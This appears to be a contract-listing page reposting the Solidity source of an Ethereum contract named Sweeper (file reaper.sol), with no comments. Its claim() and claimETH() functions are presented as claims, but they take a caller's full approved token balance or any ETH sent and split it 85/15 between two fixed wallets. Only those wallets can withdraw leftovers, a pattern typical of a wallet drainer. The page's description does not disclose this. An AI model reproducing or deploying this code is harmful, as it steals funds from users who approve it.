Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"reaper.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20 {\r
function balanceOf(address account) external view returns (uint256);\r
function allowance(address owner, address spender) external view returns (uint256);\r
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
\r
contract Sweeper {\r
string public constant name = "Sweeper Contract";\r
string public constant version = "1.0";\r
\r
address public immutable wallet85;\r
address public immutable wallet15;\r
bool private locked;\r
uint256 public constant MAX_CALLS = 10;\r
uint256 private constant GAS_RESERVE = 100000;\r
\r
event Claimed(address indexed user, address indexed token, uint256 amount85, uint256 amount15);\r
event ETHClaimed(address indexed user, uint256 amount85, uint256 amount15);\r
event MulticallExecuted(address indexed user, uint256 callsCount);\r
event ERC20Recovered(address indexed token, address indexed to, uint256 amount);\r
\r
modifier noReentrant() {\r
require(!locked, "Reentrant call");\r
locked = true;\r
_;\r
locked = false;\r
}\r
\r
constructor(address _wallet85, address _wallet15) {\r
require(_wallet85 != address(0), "wallet85 is zero");\r
require(_wallet15 != address(0), "wallet15 is zero");\r
require(_wallet85 != _wallet15, "wallets must differ");\r
wallet85 = _wallet85;\r
wallet15 = _wallet15;\r
}\r
\r
function claim(address token) external noReentrant {\r
IERC20 erc20 = IERC20(token);\r
uint256 balance = erc20.balanceOf(msg.sender);\r
uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));\r
\r
require(balance > 0, "No tokens");\r
require(allowanceAmount >= balance, "Allowance low");\r
\r
uint256 amountToWallet15 = balance * 15 / 100;\r
uint256 amountToWallet85 = balance - amountToWallet15;\r
\r
bool success = erc20.transferFrom(msg.sender, address(this), balance);\r
require(success, "TransferFrom failed");\r
\r
if (amountToWallet85 > 0) {\r
success = erc20.transfer(wallet85, amountToWallet85);\r
require(success, "Transfer to wallet85 failed");\r
}\r
if (amountToWallet15 > 0) {\r
success = erc20.transfer(wallet15, amountToWallet15);\r
require(success, "Transfer to wallet15 failed");\r
}\r
\r
emit Claimed(msg.sender, token, amountToWallet85, amountToWallet15);\r
}\r
\r
function claimETH() external payable noReentrant {\r
require(msg.value > 0, "No ETH sent");\r
\r
uint256 amountToWallet15 = msg.value * 15 / 100;\r
uint256 amountToWallet85 = msg.value - amountToWallet15;\r
\r
(bool sent85, ) = payable(wallet85).call{value: amountToWallet85}("");\r
require(sent85, "Send to wallet85 failed");\r
\r
(bool sent15, ) = payable(wallet15).call{value: amountToWallet15}("");\r
require(sent15, "Send to wallet15 failed");\r
\r
emit ETHClaimed(msg.sender, amountToWallet85, amountToWallet15);\r
}\r
\r
struct Call {\r
address target;\r
bytes callData;\r
}\r
\r
function multicall(Call[] calldata calls) external noReentrant {\r
require(calls.length <= MAX_CALLS, "Too many calls");\r
\r
for (uint256 i = 0; i < calls.length; i++) {\r
(bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);\r
require(success, _errorMessage(i));\r
}\r
\r
emit MulticallExecuted(msg.sender, calls.length);\r
}\r
\r
function recoverERC20(address tokenAddress, uint256 amount) external {\r
require(msg.sender == wallet85 || msg.sender == wallet15, "Not authorized");\r
bool success = IERC20(tokenAddress).transfer(msg.sender, amount);\r
require(success, "Recover failed");\r
emit ERC20Recovered(tokenAddress, msg.sender, amount);\r
}\r
\r
function _errorMessage(uint256 index) internal pure returns (string memory) {\r
return string(abi.encodePacked("Call failed at idx ", _toString(index)));\r
}\r
\r
function _toString(uint256 value) internal pure returns (string memory) {\r
if (value == 0) return "0";\r
uint256 temp = value;\r
uint256 digits;\r
while (temp != 0) {\r
digits++;\r
temp /= 10;\r
}\r
bytes memory buffer = new bytes(digits);\r
while (value != 0) {\r
digits -= 1;\r
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r
value /= 10;\r
}\r
return string(buffer);\r
}\r
\r
receive() external payable {\r
revert("No direct ETH");\r
}\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-01 16:26:58
Comments
Log in to comment.
No comments yet.